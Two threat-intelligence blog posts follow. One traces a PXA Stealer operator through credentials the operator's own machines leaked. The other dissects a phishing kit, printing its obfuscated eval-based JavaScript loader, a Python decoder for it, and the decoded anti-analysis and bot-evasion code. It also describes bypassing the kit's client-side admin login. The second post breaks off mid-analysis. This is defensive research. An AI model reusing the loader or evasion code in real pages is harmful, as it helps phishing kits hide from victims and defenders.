Background and Context

In August, Beazley Security’s MDR team responded to and contained an attempted infostealer infection campaign in a client environment, which we later identified as PXA Stealer. In collaboration with colleagues from SentinelOne Labs, our analysis of the infection chain revealed several notable deception techniques targeting not only the intended victim but also responding SOC analysts. As a quick refresher, below is the attack chain diagram from that analysis:

Figure 1: PXA Stealer infection chain

Modern day malware operations like the one described have become fully-fledged criminal enterprises complete with software development lifecycles, cloud infrastructure, and even customer service components, and it is common to gain a little visibility into these elements when responding to incidents. For example, when analyzing the Python components of PXA Stealer, we were able to identify the telegram channels where stolen data was being warehoused for eventual sale:

Figure 2: Original analysis and discovery of Telegram infrastructure

However, during this initial analysis, we discovered something uncommon that gave us a whole new level of insight.

QA Testing or Operational Misstep?

As mentioned in the previous article, we started with two big clues as starting points for threat intelligence analysis:

The threat actor referenced their handle “LoneNone” in various places in their infrastructure (most notably in the subdomain of the Cloudflare worker), and

We were able to identify some of the Telegram channels “LoneNone” was using in their operations

When we started digging into the Telegram infrastructure, a colleague from SentinelOne quickly noticed a very enticing set of credential packages. As often happens in these team research chats, there is sometimes an “ah ha!” moment that leads to breakthroughs, and this was certainly one of them:

Figure 3: ‘Ah ha!’

It turns out that LoneNone had run PXA Stealer on one of their own machines, and the malware dutifully packaged up whatever credentials, screenshots, and other data it could hoover up and uploaded them right into the same Telegram channel our teams happened to be monitoring.

Now, to be clear, we don’t know if this was the threat actor testing the malware for verification, or if this was an actual mistake, but we were not about to look a gift horse in the mouth. We wanted to see what we got …

The “loot”

… and it was a lot. Turns out PXA Stealer ran on LoneNone’s own computers around 30 times, and each execution created a “package” for upload to telegram.

As mentioned before, cybercrime is an industry, and malware authors are now in competition with each other to create better, faster, stealthier, more feature rich malware to boost their sales. Infostealers accordingly have evolved to steal not only passwords, but data from browser autofill, crypto wallets, VPN software, file transfer applications, API tokens, anything not virtually bolted down. So, we suddenly had access to all that data from one (some?) of LoneNone’s operational computers:

Figure 4: All the packages on the left, and partial contents of one package on the right

We don’t often get a chance to study a cybercriminal operation quite this closely and with this much data to sift through, so we rolled up our sleeves and started organizing and making sense of what type of data we had access to. As part of our analysis, we were able to organize the various accounts into two general categories:

Infrastructure used to facilitate attacks

These are accounts for systems and services used to carry out attack campaigns. Some are legitimate services, while some exclusively cybercriminal services such as:

• Social media accounts used to advertise and/or push malware

• Legitimate service accounts to host malware components

• Cybercriminal services used to facilitate attacks (like bullet proof hosting providers, binary crypters, and network traffic proxies)

Figure 5: Attack Infrastructure

Accounts to sell data stolen by the PXA infostealer

These accounts are mostly used to warehouse stolen data and help facilitate the sale of it to other cybercriminals. This included:

• Crypto currency wallet data

• Communication apps like Telegram and Jabber

• Accounts to well-known cybercriminal forums and marketplaces

Figure 6: Black Markets

To be clear, some of the services pictured above were not part of the data set, they have been included to comprehensively illustrate each category. Additionally, many of the accounts we gained visibility into no longer worked or led to dead ends. This lends credence to the theory that the computer(s) LoneNone ran PXA Stealer on were likely operational or development boxes, and potentially not personal computers.

For an example account, we quickly honed on an XSS[.]is forum account. XSS is a well-known, gated cybercrime community where a significant number of well-known cyber-criminal groups do “business”. Alas, that specific account had already been de-activated. We also ran into similar walls on some operational accounts, such as LoneNone’s CrazyRDP account, where a VPS had been deactivated because of a past-due invoice:

Figure 7: Past-due bills

There were some accounts, however, that generated great investigative leads.

The Evolution of a Cyber Criminal Operation

In the dataset, we discovered four different GitHub accounts that used the same password scheme:

Figure 8: GitHub Accounts

Unfortunately, we once again ran into four deactivated accounts. However, for GitHub specifically, there is a workaround! ClickHouse is an organization that created an open-source DBMS / “big data” system, and as a demonstration of their capability, they maintain a publicly searchable real-time index of all GitHub public actions. A very interesting side effect of that fantastic project is that we have a very powerful CTI research tool that enables us to identify historical (and now deactivated) GitHub repositories. As part of our research, we aimed that tool at LoneNone’s GitHub and found the following:

Figure 9: Since-deleted LoneNone GitHub repositories

Combine the above results with the WaybackMachine and we can take a peek at some of this defunct infrastructure hosted on GitHub. As we started to investigate these repos, we found some prior research into these Github repos that was published. Last year, Xavier Mertens wrote an article for Sans with some excellent reverse engineering work on components referencing the “RedAV” and “martin” repositories shown in the screenshot above. That excellent article absolutely deserves a read and can be found here.

Xavier showed that the sample he studied will:

1. retrieve a Python310 environment package from the “RedAV” repo

2. retrieve encoded objects from the “martin” repository

3. decode those objects into Python scripts that reference the name ‘REDAV’

4. eventually download and install third-party commodity malware XWorm (a known Remote Access Trojan) and Redline (an infostealer)

To be clear: LoneNone was not using GitHub to store project source code for the purposes of change control and version tracking. They were however abusing GitHub to stage and transmit encoded components of a malware infection chain.

Armed with this knowledge, we looked through the other repositories and confirmed similar contents (outlined by the repo pictured below):

Figure 10: XRAT repo on the right, decoded ‘load’ component on the left

• XRAT: RedAV + XWorm + Redline

• SoftwareH4X: RedAV + XWorm + Redline

• gialong1807: RedAV + XWorm + Redline

• himark68: RedAV + XWorm + Redline

• mark-xrats: RedAV + XWorm + Redline

Additionally, our analysis of the “RedAV” repository revealed references to the ‘avavavavva’ repository, which had Python code snippets similar to the above, but instead had the name ‘REDDEFENDER’, possibly showing different malware names LoneNone was experimenting with.

Taking a step back from this tangled web of encoded GitHub objects that call and reference each other, we paused to take a “thousand-foot view” and noticed the following timeline:

• August 2024 – Xavier Mertens publishes analysis on LoneNone’s RedAV+XWorm+Redline campaign

• August 2024 – WaybackMachine’s archives last snapshot of all LoneNone’s GitHub repos

• November 2024 – Cisco Talos published first report of PXA Stealer

So, we believe we are looking at the evolution of LoneNone’s cybercriminal operations. In 2024, they were using GitHub to stage and deliver RedAV, XWorm, and Redline. Now, in 2025, they have completed and deployed their very own PXA Stealer using the much more robust paste[.]rs and 0x0[.]st (detailed in our previous blog) for staging and delivery.

This makes good business sense, as XWorm and Redline are both commodity malware, so budgeting for them would affect profits:

Copyright Infringement Lures: Work With What You Know

There’s another thing we noticed about LoneNone’s older RedAV/XWorm/Redline campaign from last year: some of the malware component repositories contained archives that appear to be spam lures:

Figure 11: Copyright Lures

This caught our eye because copyright infringement was the theme of the original spam lures sent to our client as outlined in our original blog post:

Figure 12: Different malware campaign, same lure

As we continued our investigation, one of our Beazley Security researchers decided to investigate the “uninteresting” accounts in the dataset. There are a handful of accounts that don’t (at first glance) seem to offer any operational capability to a malware campaign, like Netflix and PyPi. One of the other accounts that we originally passed over was for `dmca.com`. Not to be confused with the related, but separate entity that is the DMCA law, dmca.com is a private, commercial organization that provides a service to monitor and send DMCA takedown requests on behalf of customers.

When we studied LoneNone’s DMCA account we found that they not only registered two Vietnamese language gambling related websites for copyright infringement monitoring and protection services:

Figure 13: Two VN gambling sites registered for protection

They had even submitted a takedown request of their own:

Figure 14: DMCA Takedown Request

We’re unsure what LoneNone’s interest is in protecting those gambling related sites, and we don’t know the context behind the filed takedown request, but we believe it’s safe to say this threat actor had some kind of affiliation with Vietnamese gambling sites and the takedown request was part of that relationship.

Aside from being an interesting sidenote in this person’s activities, we believe this is why LoneNone seems to favor copyright infringement themes for their spam campaigns: it’s simply something they are familiar with and can make convincing fake documents for.

Also, we are not the only research group that is tracking copyright lures from this exact threat actor; this has been observed and reported by phishing defense company Cofense as well, which you can read about in their blog here.

Hey look, I recognize those IoCs!

By far the most amusing uploaded objects we had access to though were desktop screenshots of LoneNone’s machine. Infostealers are commonly created with screenshot capabilities, for times when there may be an application containing valuable information that the malware maybe wasn’t programmed to scrape for data. In our case, the screenshot of the threat actor’s desktop revealed a whole load of interesting operational information we wouldn’t otherwise know:

Figure 15: Malware internal name (PXA), analysis tools, component objects, targeted software

The above screenshot shows a working folder confirming the internal name the author gave the malware (PXA), a supposed DLL that has a system name similar to the one used as a side load payload in our original MDR case (msimg32.dll), legitimate document software that coincides with a previously reported campaign from this threat actor (Haihai soft), and the malware author’s handle (LoneNone), found on a file with an icon indicating it is a binary debugger tool called x64dbg.

We also had screenshots showing:

• Testing the deceptively named ‘images.png’ WinRAR app from our original article

• Logged into a Telegram channel called ‘Adonis – XWorm’, which Beazley Security asseses to be related to last year’s campaign

• A program (process hacker) monitoring the CocCoc browser, a Vietnamese language browser which was also mentioned in our original article

Figure 16: old Telegram, targeted browsers, new attack chain components

Malware Campaign Telemetry; Straight from the Source

Above all, the best (funniest) accounts we discovered were for the Kleenscan and Cloudflare services. Those accounts were directly used to test and deploy attack components used in the very campaign launched against our client. Kleenscan is, on the surface, a comprehensive file scanning service similar to what VirusTotal provides. However, they explicitly state on their site that they “do not distribute”, meaning they do not share scan results with the cyber security community or the antivirus vendors. This means their service is intended for malware authors to keep scanning and crypting their payloads until they are “Fully Undetected” (FUD). As such, you can find them advertising on cybercriminal forums such as Hackforums and BlackHatWorld.

LoneNone has been using Kleenscan for a while, and we were able to identify scans of files that looked like they were from past campaigns, even older than last year’s RedAV/XWorm/Redline campaign. The best finding however, was the below scan showing them verifying the very same sideload payload that we later saw used against our client. LoneNone checked it repeatedly, right up until they launched their attack:

Figure 17: LoneNone testing payloads used against our client

We also had reviewed the Cloudflare account used to deploy the worker instance used as a hop to hide the Telegram C2 endpoint. This domain was the same domain we saw as part of the attack campaign we unravaled in our first blog.

Figure 18: Cloudflare configuration page for the C2 redirector

So naturally, we worked to get insight, telemetry, and traffic data for this malware campaign. Funnily enough, by the time we looked at this Cloudflare panel, the free rate limits imposed by Cloudflare had already already been reached. By then, the domain was publicly known so it’s likely bots and researchers were hammering the worker app. However, we were still able to get pretty telemetry graphs and maps, straight from the source!

Figure 19: Marketing friendly graphs and charts!

Conclusion

Most security analysts and responders that work have an understanding of the typical attack chain elements; after all, they’re the parts of a malware campaign that play out in our own and our clients’ environments. These are the components of the “attack chain” that we see on a daily basis.

Every now and then, however, we get opportunities to go “backstage” and peek behind the curtain at the preparation and monetization infrastructure that isn’t often seen. While they may not seem as relevant to the protection of client assets, this type of research can provide valuable insight to motivations and capabilities that we would otherwise not see.

Sources

• Clickhouse: Explore GitHub stats with ClickHouse

• SANS ISC: From Highly Obfuscated Batch File to XWorm and Redline

• Cisco Talos: New PXA Stealer targets government and education sectors for sensitive information

• US DOJ: U.S. Joins International Action Against RedLine and META Infostealers

• Cofense: Inside Vietnamese Threat Actor Lone None’s Copyright Takedown-Spoofing Campaign

Hear ye! Hear ye! What maketh a competent and proud hacker from times immemorial is but lost in the sea of modern AI-generated slop. We here at Beazley Security Labs yearn back to the days when the hackers would re-flash firmware, chain multiple zero-days, and drop exploits so convoluted that several PhDs would lay awake at night fearing their partners would soon compare them to the 31337.

There have always been script-kiddies and skids that might catch a stray, but for most of our history they have been limited by a lack of focus, and slow fingers. Alas, these vuln-vultures now have an extraordinarily fast, yet equally incompetent automaton big brother in LLMs. We are now drowning in the sea of slop from these wannabes. With this post we get to continue answering the question "What do you get when you cross a shell-baby with access to ChatGPT and mommy and daddy's money, and cheap SaaS platform proliferation?"

Beware... The Slop-man cometh.

Where it all began

Our story begins when several of our colleagues informed our internal security team of a moderately well constructed phishing email targeting Beazley Security. This is always music to our ears; better to hear about phishing campaigns from the recipients than from the XDR logs. But who would be foolish enough to target a company full of security folks? You would be letting the very people trained to identify and prevent these attacks get a head start on blocking your payloads? This phishing email on first blush appears decently put together, just littered with the same non-native English we have come to expect in phishing emails. This could be fun. Let’s dig deeper.

The "? Play Recording" button routes to https://consultoriapericial[dot]com/B. So like any good research team would, we spin up a burner box and start poking around. Fortunately, we don’t have to look far. This domain immediately redirects to www.lgkkt.baykarmobilya[dot]com/quantum.php and then to some final phishing payload.

Before we dig deeper into the final payloads, any time you are getting thrashed about in redirects it’s likely you are dealing with an attacker that wants to make it hard for defenders to understand their attack chain and does not want to burn their infrastructure. The final payload is likely to be nuked from orbit when enough people catch on and start reporting it, so the intermediate steps are usually worth logging as IoCs. Let's make note of this intermediate hop, and dig a little deeper by seeing if it's hosting anything else.

A simple request of the index on lgkkt.baykarmobilya[dot]com returns a 200. Dope! Let's see what this webserver is serving:

Quantum Route Redirect? This looks like some sort of bootstrapped admin page from a bygone era. With any name like "Quantum" you can guess it was AI generated. As fun as it may be to see where this phishing payload ends up, if you are like us you can't see something as stupid as this and not dig in, let's see if can get more insight regarding this admin panel. This is where we have to hunker down and brace ourselves for some reverse engineering, probably some obfuscated mess of functions, and a night of untangling spaghetti.

Let's take a peek at the code:

lang:javascript function attemptLogin() {      const password = document.getElementById('loginPassword').value;      if (!password) {          showLoginError('Please enter a password');          return;      }     fetch('admin_auth.php', {          method: 'POST',          headers: { 'Content-Type': 'application/json' },          body: JSON.stringify({ action: 'login', password: password })      })      .then(response => response.json())      .then(data => {          if (data.success) {              document.getElementById('loginPassword').value = '';              showAdminPanel();          } else {              showLoginError(data.message || 'Login failed');          }      })      .catch(error => {          showLoginError('Login error: ' + error.message);      });  }

Oh... Alright then...

At this point a reasonable defender may be concerned that this may be a trap of some sort. I mean, who would direct their targets through a route that contains their admin panel?! And worse, who would put client-side auth in front of redirection administration tools used in an active phishing campaign!? This feels like it must be a honeypot made for those "hack-back" folks. That, or this attacker paid someone on Fiverr to write their redirector panel. At this point, we have only one way to find out, so let’s just clear out the client-side auth and render the page.

It's a rare experience that we get access to an admin panel before we observe a phishing campaign's payload. Looking at more of this JavaScript we can see the following:

lang:javascript function loadCurrentUrls() { fetch('get_config.php') .then(response => response.json()) .then(data => { document.getElementById('humanUrl').value = data.humanUrl || ''; document.getElementById('botUrl').value = data.botUrl || ''; // Show API key status WITHOUT calling API if (data.apiKeyConfigured) { document.getElementById('apiKey').placeholder = 'API key configured (••••••••)'; } else { document.getElementById('apiKey').placeholder = 'Enter your API key'; } }) .catch(error => console.error('Error loading URLs:', error)); }

We here in the Labs team love to larp as hackers, and a big component of pretending to be a hacker is knowing to look at configs when they are presented. Let's curl get_config.php (without any auth) and see what comes back:

lang:json {"success":true,"humanUrl":"https:\/\/web.vynqex.sa.com\/gxr4Q@TyWL7Y7D7SOYlD\/","botUrl":"https:\/\/google.com","apiKeyConfigured":true}

This humanUrl matches the payload URL we saw in the admin panel and allows us to programmatically confirm the payloads of these redirectors.

Let's actually hit this web.vynqex.sa[dot]com domain and see what other treats we can gather.

How much do you want to bet that this will also just be AI-generated slop as well? Let's check the code:

lang:javascript const bu = "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:883198:ZjNiNjA5MWE=".split(":"); const iz = bu[0]; const lp = bu[1]; const ca = bu[2]; const cj = parseInt(lp); const vl = [0x02, 0x12, 0x0e, 0x04]; const ru = [0x63, 0x66, 0x61, 0x66]; const bb = ru.map( (rd, uo) => String.fromCharCode(rd ^ vl[uo])).join(''); const bx = this; const nz = bx[bb](ca); const qp = bx[bb](iz); const mi = cj + nz.charCodeAt(0); let mr = mi; let oj = function() { mr = (mr * 9301 + 49297) % 233280; return mr / 233280; }; let mz = ""; for (let bl = 0; bl < qp.length; bl++) { mz += String.fromCharCode(Math.floor(oj() * 256)); } const vg = mz; let np = cj + 99; let iv = function() { np = (np * 9301 + 49297) % 233280; return np / 233280; }; let jy = []; for (let ij = 0; ij < qp.length; ij++) { jy.push(Math.floor(iv() * 25) + 1); } const fk = jy; let hi = ""; for (let fq = 0; fq < qp.length; fq++) { let kd = qp[fq]; let bf = qp.charCodeAt(fq); if (/[A-Za-z]/.test(kd)) { const tb = kd <= "Z" ? 65 : 97; bf = ((bf - tb - fk[fq] + 26) % 26) + tb; } bf = bf ^ vg.charCodeAt(fq); hi += String.fromCharCode(bf); } const yl = hi; ( () => { const wt = ['e', 'v', 'a', 'l']; const qm = wt[0] + wt[1] + wt[2] + wt[3]; const zr = [null]; zr.find(function() { this[qm](yl); return false; }, Function('return this')()); } )();

We want to stress that the code you are seeing is unedited on our part.

It feels like someone tried to obfuscate this code at least. We basically have some base64 that is being "encoded" with a log-based psudorandom number generator (PRNG) that we need to decode into its second stage. If you are not a security researcher, this would be a fantastic beginner capture the flag (CTF) challenge. If that sounds fun feel free to try to decode this yourself and compare your result with ours.

lang:python # We use python because we don't have to write actual code when pseudocode works :) from base64 import b64decode import re encoded = "/JAoXMH..." iz, lp, ca = encoded.split(":") def log_prng(seed): while True: seed = (seed * 9301 + 49297) % 233280 yield seed / 233280.0 payload = b64decode(iz).decode("latin1") key_frag = b64decode(ca).decode("latin1") cj = int(lp) mi = cj + ord(key_frag[0]) oj = log_prng(mi) vg = "".join(chr(int(next(oj) * 256)) for _ in range(len(payload))) iv = log_prng(cj + 99) fk = [int(next(iv) * 25) + 1 for _ in range(len(payload))] result_chars = [] for i, ch in enumerate(payload): bf = ord(ch) if re.match(r"[A-Za-z]", ch): tb = 65 if ch <= "Z" else 97 bf = ((bf - tb - fk[i] + 26) % 26) + tb bf ^= ord(vg[i]) result_chars.append(chr(bf)) print("".join(result_chars))

Tada! We now have decrypted the next stage of this payload. This looks like yet another JavaScript program that tries to check whether there are threat hunters thrunting up the place. Let's take this file in steps and see who they are trying to prevent.

lang:javascript const bolFPhkDYT = typeof globalThis !== 'undefined' ? globalThis : window; const wkTsXlfbSS = bolFPhkDYT["navi" + "gator"]; if ( wkTsXlfbSS["web" + "driver"] || bolFPhkDYT["call" + "Phantom"] || bolFPhkDYT["_phantom"] || wkTsXlfbSS["user" + "Agent"].includes("Burp") ) { bolFPhkDYT["loca" + "tion"] = "about:blank"; }

Here the payload is checking if the browser loading the page is used for automation and or sleuthing: Selenium / Puppeteer, PhantomJS, and Burp. If that happens, the page sets the window to about:blank

lang:javascript bolFPhkDYT["docu" + "ment"]["addEventListener"]("key" + "down", function (VnyzCnFEKo) { function nQrKiusaQo(tgboOAXwXK) { const CHonLxVLew = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctrl: true, shift: true, keyCode: 74 }, { ctrl: true, shift: true, keyCode: 75 }, { ctrl: true, keyCode: 72 }, { meta: true, alt: true, keyCode: 73 }, { meta: true, alt: true, keyCode: 67 }, { meta: true, keyCode: 85 } ]; return CHonLxVLew.some(pFrcfSZnFE => (!pFrcfSZnFE.ctrl || tgboOAXwXK.ctrlKey) && (!pFrcfSZnFE.shift || tgboOAXwXK.shiftKey) && (!pFrcfSZnFE.meta || tgboOAXwXK.metaKey) && (!pFrcfSZnFE.alt || tgboOAXwXK.altKey) && tgboOAXwXK.keyCode === pFrcfSZnFE.keyCode ); } if (nQrKiusaQo(VnyzCnFEKo)) { VnyzCnFEKo["preventDefault"](); return false; } }); bolFPhkDYT["docu" + "ment"]["addEventListener"]("context" + "menu", function(RyVHaoZPvj) { RyVHaoZPvj["preventDefault"](); return false; });

Next the payload attempts to prevent the user from accessing various browser tools to inspect what's going on:

• F12 for developer tools

• Ctrl+U & Cmd+U is view source

• Ctrl+Shift+I & Cmd+Option+I is DevTools

• Ctrl+Shift+C & Cmd+Option+C inspects the element

• Ctrl+Shift+J is console

• Ctrl+Shift+K is DevTools sources

• Ctrl+H is history

The last piece of this section disables the context menu and prevents the user from right clicking.

lang:javascript document.addEventListener('DOMContentLoaded', function() { var tm = (navigator.platform || '').toLowerCase(); var gg = (navigator.userAgent || '').toLowerCase(); var f = tm.indexOf('linux') !== -1 && gg.indexOf('android') === -1; if (f) { document.write(""); } else { setTimeout(function() { ju(); }, 150); } });

This section deals with OS detection. If it's a Linux box other than Android the page will be cleared. Otherwise, the page waits 150ms and calls the ju() function below.

lang:javascript dGmqBFgJCX = false; (function eHeNiLgvEQ() { let jbMbrfXRpA = false; const UzPQdLTpjZ = 100; setInterval(() => { const zIloNnysKc = performance["now"](); debugger; const gwUgKNgijq = performance["now"](); if (gwUgKNgijq - zIloNnysKc > UzPQdLTpjZ && !jbMbrfXRpA) { dGmqBFgJCX = true; jbMbrfXRpA = true; bolFPhkDYT["location"]["replace"]("https://www.shopify.com"); } }, 100); })();

Next the kit creates the dGmqBFgJCX variable to determine whether it should redirect the user or not. Essentially it's a flag whether this connection is believed to be a human or a bot.

The first check is an attempt to determine if the debugger is running. It assumes that the debugger call will take longer when the devtools are open, since this debugger; call should act as a breakpoint. This comparison checks whether the two timestamps are more than 100ms apart and if so replace the location with an innocuous destination instead. Often we saw fake websites for construction companies, mexican restaurants, or random templated "business" websites.

What seems to have eluded this attacker (or their LLM) is that a breakpoint like debugger; is in fact a breakpoint... so all the lines from const gwUgKNgijq are never executed if the devtools are still open, and this would do the opposite of what was intended. Doubly so, jbMbrfXRpA is seemingly not used for anything, and is never called again, so it's safe to assume that whatever robot produced this was starting to hallucinate or the person who prompted this didn't bother reading it.

lang:javascript function bg() { window.location.replace('https://www.shopify.com'); var vn = document.currentScript; vn.parentNode.removeChild(vn); }

This seems to try to remove the <script> element from the DOM to hide the redirect.

